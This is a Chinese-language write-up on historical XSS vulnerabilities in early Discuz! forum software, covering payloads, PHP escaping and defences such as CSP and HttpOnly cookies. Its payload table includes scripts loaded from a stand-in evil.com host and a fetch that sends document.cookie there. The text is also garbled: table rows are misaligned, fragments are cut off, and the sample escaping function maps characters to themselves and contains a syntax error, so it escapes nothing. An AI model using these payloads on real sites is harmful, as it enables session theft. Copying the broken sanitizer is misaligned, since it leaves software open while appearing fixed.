本文僅供安全研究、防禦加固、歷史漏洞理解之用。嚴禁用於攻擊、滲透測試未授權系統。請遵守當地法律法規與道德規範。
Discuz! 早期版本(2.x、3.x)在多處輸出點未對使用者輸入進行過濾/轉義,直接將 subject、username、email 等參數輸出至 HTML/JS 語境,導致反射型/儲存型 XSS。
| 功能點 | 參數 | 注入載荷示例 | 觸發條件 |
|---|---|---|---|
| 發文/回文 | subject | <script>alert(document.cookie)</script> | 瀏覽主題列表/內容頁 |
| 私訊 (PM) | username | victim"><script>alert(1)</script><b> | 受害者查看私訊列表 |
| 推薦給朋友 | a@b.c"><script src=//evil.com/xss.js></script> | 受害者點擊郵件連結 | |
| 投票 | pollanswers[] | 超出選項範圍的索引 | 建立空標題選項,配合其他漏洞 |
username 參數含 <script>fetch('//evil.com/?c='+document.cookie)</script>。<?php
// 1. 輸出時統一轉義(核心)
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
} else {
$string = str_replace(['&', '"', "'", '<', '>'],
['&', '"', ''', '<', '>'], $string);
}
return $string;
}
// 2. 所有模板變數輸出前經過 dhtmlspecialchars
// 模板引擎自動套用:{echo dhtmlspecialchars($subject)}
// 3. 針對 URL 參數額外 urlencode
// 4. 針對 JS 語境輸出使用 json_encode
// 5. 針對 CSS/Style 使用 cssesc 或白名單驗證
?>
{{ $var }})、Twig ({{ var|e }})、Smarty ({$var|escape}) 預設 HTML 轉義。Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; 徹底阻斷內聯腳本執行。HttpOnly Cookie:session.cookie_httponly = 1 防止 JS 讀取 Session ID。session.cookie_samesite = Lax (或 Strict) 防禦 CSRF 並減輕 XSS 影響。template/default/*.htm) 確保變數輸出經過 {eval echo dhtmlspecialchars($var)} 或模板引擎自動逃逸。config/config_global.php 中的 $_config['security']['querysafe'] 等安全選項。Discuz! 早期 XSS 漏洞是「輸出未轉義」的教科書級案例。現代 Web 安全防禦體系要求:框架級自動逃逸 + CSP + HttpOnly/SameSite Cookie + 纏繞驗證 多層次纏繞。維護舊版 Discuz! 站點者,務必套用官方補丁、部署 WAF、並規劃遷移至現代框架(如 Discuz! Q、Flarum、Discourse)以獲得持續安全更新。